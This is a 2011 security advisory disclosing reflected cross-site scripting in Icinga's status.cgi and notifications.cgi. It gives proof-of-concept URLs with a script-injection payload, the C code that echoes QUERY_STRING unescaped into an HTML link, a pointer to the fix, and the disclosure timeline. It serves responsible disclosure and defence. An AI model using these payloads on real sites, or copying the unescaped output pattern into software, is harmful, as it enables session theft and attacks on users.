Cross-Site Scripting vulnerabilities in Icinga

[sschurtz@xxxxxxxxxxx]

Advisory:           Cross-Site Scripting vulnerabilities in Icinga
Advisory ID:        SSCHADV2011-001
Author:             Stefan Schurtz
Affected Software:  Successfully tested on: icinga-1.3.0 / icinga-1.2.1
Vendor URL:         http://www.icinga.org
Vendor Status:      fixed csv export link to make it XSS save (IE) #1275 
CVE-ID:             -

==========================
Vulnerability Description:
==========================

This is Cross-Site Scripting vulnerability

==================
Technical Details:
==================

No input validation for "QUERY_STRING"

Problem in "status.c"

http://site/icinga/cgi-bin/status.cgi?'</style></script><script>alert('XSS')</script>
http://site/icinga/cgi-bin/status.cgi?'</style></script><script>alert('XSS')</script><A
 HREF='status.cgi

 /* add export to csv link */

if(getenv("QUERY_STRING")!=NULL) {
          printf("<td valign=bottom width=33%%><div class='csv_export_link'><a 
href='%s?%s&csvoutput' target='_blank'>Export to 
CSV</a></div></td>n",STATUS_CGI,strdup(getenv("QUERY_STRING")));
} else {
          printf("<td valign=bottom width=33%%><div class='csv_export_link'><a 
href='%s?csvoutput' target='_blank'>Export to CSV</a></div></td>n",STATUS_CGI);


Problem in "notification.c"

http://site/icinga/cgi-bin/notifications.cgi?'</style></script><script>alert('XSS')</script>
http://site/icinga/cgi-bin/notifications.cgi?'</style></script><script>alert('XSS')</script><A
 HREF='notifications.cgi

if(getenv("QUERY_STRING")!=NULL) {
       printf("<TR><TD colspan='7'><DIV class='csv_export_link'><A 
HREF='%s?%s&csvoutput' target='_blank'>Export to 
CSV</A></DIV></TD></TR>n",NOTIFICATIONS_CGI,strdup(getenv("QUERY_STRING")));
} else {
       printf("<TR><TD colspan='7'><DIV class='csv_export_link'><A 
HREF='%s?csvoutput' target='_blank'>Export to 
CSV</A></DIV></TD></TR>n",NOTIFICATIONS_CGI);
}

=========
Solution:
=========

ID: 90c2209dfc7b8b6a174f46eb5d2a87d1a9789383

https://dev.icinga.org/projects/icinga-core/repository/revisions/90c2209dfc7b8b6a174f46eb5d2a87d1a9789383/diff

fixed csv export link to make it XSS save (IE) #1275

====================
Disclosure Timeline:
====================

04-Mar-2011 - informed developers
07-Mar-2011 - Bug 1275 - make csv export link XSS save - on "Icinga Development 
Mailinglist"
07-Mar-2011 - informed DFN-CERT - cert@xxxxxxxxxxx
07-Mar-2011 - Release date of this security advisory
07-Mar-2011 - developers fixed csv export link to make it XSS save (IE) #1275

========
Credits:
========

Vulnerability found and advisory written by Stefan Schurtz.

===========
References:
===========

http://www.icinga.org        
http://www.rul3z.de/advisories/SSCHADV2011-001.txt